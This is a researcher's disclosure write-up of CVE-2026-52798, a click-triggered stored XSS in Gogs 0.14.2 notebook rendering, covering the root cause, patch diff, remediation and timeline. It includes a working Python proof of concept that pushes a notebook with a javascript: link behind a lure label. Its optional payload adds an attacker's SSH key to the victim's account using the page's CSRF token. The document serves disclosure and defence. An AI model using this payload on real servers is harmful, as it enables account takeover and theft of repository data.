Skip to content

CVE-2026-52798: Gogs Jupyter Notebook Stored XSS via Post-Sanitisation Markdown Conversion

TL;DR

  • Gogs 0.14.2 sanitised the browser-rendered HTML for Jupyter notebooks, then passed every markdown cell through marked() and inserted the result with jQuery .html().
  • A markdown link using the javascript: scheme survived the sanitiser as text. The later render recreated it as an executable link after the only sanitisation pass had finished.
  • An attacker who could place a notebook in a repository could execute same-origin JavaScript when a signed-in viewer clicked the rendered link.
  • I demonstrated the XSS by adding a valid SSH key to the viewer's account and chained the Git HTTP authorisation bypass (CVE-2026-52810) into it to plant the notebook in a repository where the attacker had only read access.
  • The issue affects Gogs through 0.14.2, is tracked as CVE-2026-52798 and GHSA-jq8v-rmf6-65jw, and was fixed in 0.14.3.

Summary

Gogs sanitised notebook output before a second markdown-to-HTML conversion. That final conversion could recreate javascript: links which the sanitiser never inspected, producing click-based stored XSS in the Gogs origin.

  • CVE: CVE-2026-52798
  • Product: Gogs (gogs/gogs)
  • Vulnerability: Stored Cross-Site Scripting via Post-Sanitisation Markdown Conversion
  • Affected Versions: <= 0.14.2
  • Fixed In: 0.14.3
  • CVSS Severity: 8.9 (high, assigned by GitHub as CNA)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L
  • Required Privilege: write access to a repository the victim can view
  • Advisory: GHSA-jq8v-rmf6-65jw
  • Reported: May 11, 2026
  • NVD Published: June 24, 2026

Introduction

[A]I pointed deepsec at Gogs around the time we published my argument-injection RCE, CVE-2026-52806, over at Rapid7. I reported three of the issues it found, and this is the second.

Gogs renders .ipynb files inline in the repository file view. It's a nice feature, and it's also a lot of client-side machinery to be aiming at file contents that anyone with write access got to choose.

Most notebook output passes through Gogs' sanitiser before it reaches the page. I found one client-side render step that ran afterwards.

Root Cause Analysis

The vulnerable pipeline spans templates/base/head.tmpl, templates/repo/view_file.tmpl, and internal/app/api.go. All the excerpts below are from Gogs 0.14.2, at commit 5dcb6c64.

The Renderer Is Chosen Too Early

The notebook page loads notebookjs 0.4.2 before Marked 0.8.1.

{{if .IsIPythonNotebook}}
<script src="{{AppSubURL}}/plugins/notebookjs-0.4.2/notebook.min.js"></script>
<script src="{{AppSubURL}}/plugins/marked-0.8.1/marked.min.js"></script>
{{end}}

Gogs ships the minified build, so this is the same code from notebookjs v0.4.2 upstream.

var ident = function (x) { return x; };

var condRequire = function (module_name) {
    return typeof require === "function" && require(module_name);
};

// ... getAnsi and the other helpers are omitted.
var getMarkdown = function () {
    return root.marked || condRequire("marked"); // [1] Looks for Marked, once.
};

var nb = {
    prefix: "nb-",
    markdown: getMarkdown() || ident, // [2] Whatever it found is fixed here.
    ansi: getAnsi() || ident,
    highlighter: ident,
    VERSION: VERSION
};

The lookup at [1] runs while notebookjs is still loading. marked.min.js has not executed at that point, so root.marked is undefined, and condRequire finds no CommonJS require in a browser. That leaves ident, which hands back whatever it is given, and [2] fixes that choice for the lifetime of the page.

Marked becoming available a moment later does not go back and change nb.markdown. A markdown cell therefore reaches innerHTML as its original markdown string. Text such as [Load notebook styles](javascript:alert(document.domain)) has no HTML tag or attribute at this stage.

Gogs Sanitises the Intermediate HTML

The file-view template renders the notebook and sends its current outer HTML to the sanitiser endpoint.

// ... The surrounding $.getJSON callback is omitted.
var notebook = nb.parse(notebook_json);
var rendered = notebook.render();
$.ajax({
    type: "POST",
    url: '{{AppSubURL}}/-/api/sanitize_ipynb',
    data: rendered.outerHTML, // [3] Markdown links are still text in this HTML.
    processData: false,
    contentType: false,
    // ... Success handler shown below.

The endpoint hands that body to bluemonday, a Go HTML sanitiser, using its stock UGCPolicy() for untrusted user content.

func ipynbSanitizer() *bluemonday.Policy {
    p := bluemonday.UGCPolicy()
    p.AllowAttrs("class", "data-prompt-number").OnElements("div")
    p.AllowAttrs("class").OnElements("img")
    p.AllowURLSchemes("data")
    return p
}

func SanitizeIpynb() macaron.Handler {
    p := ipynbSanitizer()

    return func(c *macaron.Context) {
        html, err := c.Req.Body().String()
        if err != nil {
            c.Error(http.StatusInternalServerError, "read body")
            return
        }

        c.PlainText(http.StatusOK, []byte(p.Sanitize(html))) // [4] The policy sees the intermediate form.
    }
}

At [3], the markdown link is only text inside a cell. There is no href for the policy to reject. The call at [4] can remove an unsafe URL when it appears in an actual HTML attribute, but it sees only this intermediate form.

A Second Render Runs After Sanitisation

The browser appends the sanitised response, then the same success handler converts every markdown cell again.

}).done(function(data) {
    $("#ipython-notebook").append(data); // [5] Sanitised intermediate HTML enters the page.
    $("#ipython-notebook code").each(function(i, block) {
        $(block).addClass("py").addClass("python");
        hljs.highlightBlock(block);
    });

    // Overwrite image method to append proper prefix to the source URL
    var renderer = new marked.Renderer();
    var context = '{{.RawFileLink}}';
    context = context.substring(0, context.lastIndexOf("/"));
    renderer.image = function (href, title, text) {
        return `<img src="${context}/${href}"`
    };
    $("#ipython-notebook .nb-markdown-cell").each(function(i, markdown) {
        $(markdown).html(marked($(markdown).html(), {renderer: renderer})); // [6] The final HTML is not sanitised.
    });
    // ... The remaining callback closures are omitted.

At [5], the checked HTML enters the document. Marked is available by the time [6] runs, so the original markdown text becomes an anchor with a javascript: URL. jQuery .html() inserts that new anchor directly. No sanitisation occurs between this conversion and the DOM.

The link is stored in the repository, but execution still requires a click. When the viewer clicks it, the browser runs the URL as script in the Gogs page's origin.

Impact

The payload runs in the victim's authenticated session, on the Gogs origin. The session cookie is HttpOnly, but the CSRF token sits in <meta name="_csrf">, which is enough for anything the victim could do themselves.

  • SSH key injection. POST to /user/settings/ssh. Persistent Git access to every repository that account can reach, surviving a password change. This is the one I show below.
  • Email takeover. POST to /user/settings/email, then a second POST with _method=PRIMARY. Where SMTP is configured, a password reset finishes the job.
  • Private repository exfiltration. fetch() on /{owner}/{repo}/raw/master/{file}, posted wherever you like.

All three require the victim to click a link whose text the attacker controls.

That click is also the middle of a longer chain. CVE-2026-52810, the Git HTTP authorisation bypass I reported the following day, lets an attacker with read-only access plant the notebook in the first place, so the whole thing runs from a permission grant that was never supposed to allow writes. I walk through that end to end in the chaining section of that post.

How far this goes depends on who clicks. An administrator hands the script their more sensitive pages and actions; an ordinary user still hands over their own repositories and account settings.

Exploitation

The reproduction below uses a repository the publishing account can already write to.

Preconditions

  • Gogs 0.14.2 or earlier.
  • The attacker can write a file into a repository the victim can view. CVE-2026-52810 supplies that without write access.
  • The victim opens the notebook and clicks the rendered link. Nothing fires on page load alone.
  • For the SSH-key payload specifically, the instance has SSH enabled.

PoC

The script builds a one-cell notebook whose markdown contains a javascript: link labelled Load notebook styles, commits it to a uniquely named branch, and pushes. It prints the view URL a victim would open. The default payload is alert(document.domain), while --public-key swaps in the SSH-key-add payload used for the demonstrated account change.

#!/usr/bin/env python3
"""Publish a notebook that demonstrates CVE-2026-52798 in Gogs through 0.14.2.

The PoC creates one uniquely named branch and notebook. Its default payload is
an alert. Supplying --public-key builds the demonstrated SSH-key-add payload
and requires Gogs SSH support to be enabled.
"""

import argparse
import base64
import getpass
import json
import os
import secrets
import subprocess
import sys
import tempfile
from datetime import datetime, timezone
from pathlib import Path
from urllib.parse import quote, urlsplit, urlunsplit


def git(*args, cwd=None, env=None):
    result = subprocess.run(
        ["git", *args], cwd=cwd, env=env, text=True, capture_output=True
    )
    if result.returncode:
        raise RuntimeError(result.stderr.strip() or result.stdout.strip())
    return result.stdout.strip()


def arguments():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("repository", help="writable HTTP(S) clone URL ending in .git")
    parser.add_argument("-u", "--username", required=True)
    parser.add_argument(
        "--public-key", type=Path,
        help="OpenSSH public key to add when clicked; requires Gogs SSH support",
    )
    parser.add_argument(
        "-k", "--insecure", action="store_true",
        help="disable Git HTTPS certificate verification",
    )
    return parser.parse_args()


def read_public_key(path):
    key = path.read_text(encoding="utf-8").strip()
    if "\n" in key or "\r" in key:
        raise RuntimeError("public key must contain exactly one line")
    parts = key.split()
    if len(parts) < 2 or not parts[0].startswith(("ssh-", "ecdsa-", "sk-")):
        raise RuntimeError("public key must use the OpenSSH one-line format")
    try:
        base64.b64decode(parts[1], validate=True)
    except ValueError as error:
        raise RuntimeError("public key contains invalid base64 data") from error
    return key


def ssh_key_payload(key, title):
    return (
        "(async()=>{"
        "const c=document.querySelector('meta[name=\"_csrf\"]');"
        "const s=document.querySelector('meta[name=\"_suburl\"]').content;"
        f"const t={json.dumps(title)};const k={json.dumps(key)};"
        "const b=new URLSearchParams({_csrf:c.content,title:t,content:k});"
        "await fetch(s+'/user/settings/ssh',{method:'POST',body:b});"
        "const h=await(await fetch(s+'/user/settings/ssh')).text();"
        "const d=new DOMParser().parseFromString(h,'text/html');"
        "const ok=[...d.querySelectorAll('.ui.key.list strong')]"
        ".some(e=>e.textContent===t);"
        "alert(ok?'SSH key added: '+t:'SSH key was not added');"
        "})()"
    )


def notebook(payload):
    # A victim clicks the label, not the payload. Name it after something a
    # notebook viewer would plausibly ask for.
    action = "Load notebook styles"
    javascript_url = "javascript:" + quote(payload, safe="")
    return {
        "nbformat": 4,
        "nbformat_minor": 5,
        "metadata": {},
        "cells": [
            {
                "cell_type": "markdown",
                "metadata": {},
                "source": [
                    "# Gogs notebook XSS proof\n",
                    "\n",
                    f"[{action}]({javascript_url})\n",
                ],
            }
        ],
    }


def main():
    args = arguments()
    parsed = urlsplit(args.repository.rstrip("/"))
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        raise RuntimeError("repository must be an HTTP or HTTPS clone URL")
    if parsed.username or parsed.password:
        raise RuntimeError("do not include credentials in the clone URL")
    if not parsed.path.endswith(".git") or parsed.query or parsed.fragment:
        raise RuntimeError("repository must be a clone URL ending in .git")

    password = os.environ.get("GOGS_PASSWORD")
    if password is None:
        password = getpass.getpass("Gogs password or token: ")

    basic = base64.b64encode(f"{args.username}:{password}".encode()).decode()
    environment = os.environ.copy()
    environment.update({
        "GIT_CONFIG_COUNT": "1",
        "GIT_CONFIG_KEY_0": "http.extraHeader",
        "GIT_CONFIG_VALUE_0": f"Authorization: Basic {basic}",
        "GIT_TERMINAL_PROMPT": "0",
    })
    if args.insecure:
        environment.update({
            "GIT_CONFIG_COUNT": "2",
            "GIT_CONFIG_KEY_1": "http.sslVerify",
            "GIT_CONFIG_VALUE_1": "false",
        })

    suffix = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
    suffix += f"-{secrets.token_hex(3)}"
    branch = f"notebook-xss-poc-{suffix}"
    ref = f"refs/heads/{branch}"
    filename = f"gogs-notebook-xss-{suffix}.ipynb"
    title = f"notebook-xss-{suffix}"
    payload = "alert(document.domain)"
    if args.public_key:
        payload = ssh_key_payload(read_public_key(args.public_key), title)

    with tempfile.TemporaryDirectory(prefix="gogs-xss-poc-") as temp:
        checkout = Path(temp) / "repository"
        if git("ls-remote", args.repository, ref, env=environment):
            raise RuntimeError(f"ref already exists: {ref}")
        git("clone", "--quiet", args.repository, str(checkout), env=environment)
        git("checkout", "--quiet", "-b", branch, cwd=checkout)
        git("config", "user.name", "Gogs XSS PoC", cwd=checkout)
        git("config", "user.email", "poc@example.invalid", cwd=checkout)

        path = checkout / filename
        path.write_text(
            json.dumps(notebook(payload), indent=2) + "\n",
            encoding="utf-8",
        )
        git("add", filename, cwd=checkout)
        git("commit", "--quiet", "-m", "CVE-2026-52798 proof", cwd=checkout)
        commit = git("rev-parse", "HEAD", cwd=checkout)
        git("push", "--quiet", args.repository, f"HEAD:{ref}", cwd=checkout, env=environment)
        remote = git("ls-remote", args.repository, ref, env=environment)
        if remote != f"{commit}\t{ref}":
            raise RuntimeError(f"push succeeded but the remote ref was {remote!r}")

    view_path = f"{parsed.path[:-4]}/src/{branch}/{filename}"
    view_url = urlunsplit((parsed.scheme, parsed.netloc, view_path, "", ""))
    print(f"[+] Remote ref: {remote}")
    print(f"[+] Notebook: {view_url}")
    if args.public_key:
        print(f"[*] Expected SSH key title after a successful victim click: {title}")
    else:
        print("[*] Click the rendered link to run alert(document.domain).")


if __name__ == "__main__":
    try:
        main()
    except (OSError, RuntimeError) as error:
        print(f"[-] {error}", file=sys.stderr)
        sys.exit(1)

Run the default alert(document.domain) version:

python3 poc.py https://gogs.example/owner/repository.git --username publisher

The password or token is requested without echo, or supplied through GOGS_PASSWORD. Accounts with two-factor authentication need a token.

To reproduce the demonstrated account change, provide a valid OpenSSH public key.

python3 poc.py https://gogs.example/owner/repository.git \
  --username publisher \
  --public-key ~/.ssh/id_ed25519.pub

Against Gogs 0.14.2, the publisher-side output was:

[+] Remote ref: 0466b1e13e19cf870d9884c26021883c71af0e7d    refs/heads/notebook-xss-poc-20260815142920-b4dd56
[+] Notebook: http://127.0.0.1:13242/attacker/notebook-lab/src/notebook-xss-poc-20260815142920-b4dd56/gogs-notebook-xss-20260815142920-b4dd56.ipynb
[*] Expected SSH key title after a successful victim click: notebook-xss-20260815142920-b4dd56

The screenshots use the original PoC, where the repository is named data-analysis and the planted key is titled deploy-ci.

The rendered analysis.ipynb notebook in Gogs 0.14.2 showing the injected 'Load notebook styles' link the victim clicks

Clicking it runs the payload in the victim's session, which posts an attacker-controlled key to /user/settings/ssh. The key then appears on the victim's own SSH keys page.

The victim's Manage SSH Keys page listing the deploy-ci key added by the notebook payload

On Gogs 0.14.3, the same notebook rendered the link as plain text and did not add the key.

Patch Diffing

The CVE-specific fix came through PR #8319. The advisory references commit 17b168b, while the 0.14.3 release carries the equivalent stable-branch commit 67c81d9.

The patch upgraded Marked to 4.3.0 and added a custom link renderer. It decoded entities and percent encoding, removed control characters and spaces from the value used for checking, then rejected dangerous schemes. The following diff is abridged, and its two omission comments are mine, added to mark what I cut.

// templates/repo/view_file.tmpl (notebook render callback)
+var unsafeURLScheme = /^(?:javascript|vbscript|data):/i;
+// ... Entity-decoding and HTML-escaping helpers omitted.
+renderer.link = function (href, title, text) {
+   var raw = String(href || '').trim();
+   var normalized;
+   try {
+       normalized = decodeURIComponent(decodeEntities(raw));
+   } catch (e) {
+       normalized = decodeEntities(raw);
+   }
+   normalized = normalized.replace(/[\x00-\x20]/g, '');
+   if (unsafeURLScheme.test(normalized)) {
+       return text;
+   }
+   // ... Safe anchor construction omitted.
+};

A javascript: destination now becomes plain link text instead of an anchor. This closes the CVE even though the post-sanitiser render still exists at that point in the history.

Gogs 0.14.3 also contains separate notebook hardening from PR #8330 and stable commit f6b8c58. That work added DOMPurify 3.4.8, upgraded notebookjs to 0.8.3, loaded DOMPurify and Marked before notebookjs, and removed the second markdown conversion entirely. The final template no longer re-renders markdown after the server response. It still highlights notebook input code and adjusts relative image paths.

These are related protections, but they are not one patch. PR #8319 directly filters this CVE's dangerous links. PR #8330 later removes the vulnerable rendering shape while fixing GHSA-6vxv-wg6j-5qwp, a separate notebook XSS reported by Aikido-Security.

Those two are easy to confuse. They land in the same file, in the same release, and both get described as "notebook XSS". Aikido's is a raw-HTML injection that works because notebookjs 0.4.2 is too old and missing its own upstream patches. This CVE is about the extra marked() pass Gogs bolted on afterwards, which rebuilds a javascript: anchor from text the sanitiser had already cleared. Upgrading notebookjs alone would not have closed this one, which is why PR #8319 exists at all.

The fixes shipped in Gogs 0.14.3 on June 7, 2026.

Remediation

Update to Gogs 0.14.3 or later.

There is no dedicated setting to disable only notebook previews in 0.14.2. Until an instance can be updated, treat notebooks from untrusted writers as active content and avoid opening their rendered file views. Limiting who can write repositories reduces exposure, but it does not correct the rendering pipeline.

Disclosure Timeline

  • May 11, 2026: Reported privately to Gogs with a PoC as GHSA-37xc-jr62-8mv5.
  • June 7, 2026: Closed as a duplicate of GHSA-jq8v-rmf6-65jw, reported by odgrso.
  • June 7, 2026: Fix shipped in Gogs 0.14.3, alongside the separate notebook hardening in PR #8330.
  • June 19, 2026: GHSA-jq8v-rmf6-65jw published to the GitHub Advisory Database and CVE-2026-52798 assigned, with GitHub as CNA.
  • June 24, 2026: Indexed by NVD.

Conclusion

This was the second deepsec finding I reported, and the browser's last bit of work was the part that mattered. Gogs had already sanitised the notebook, then one extra marked() call quietly changed what that decision applied to.

References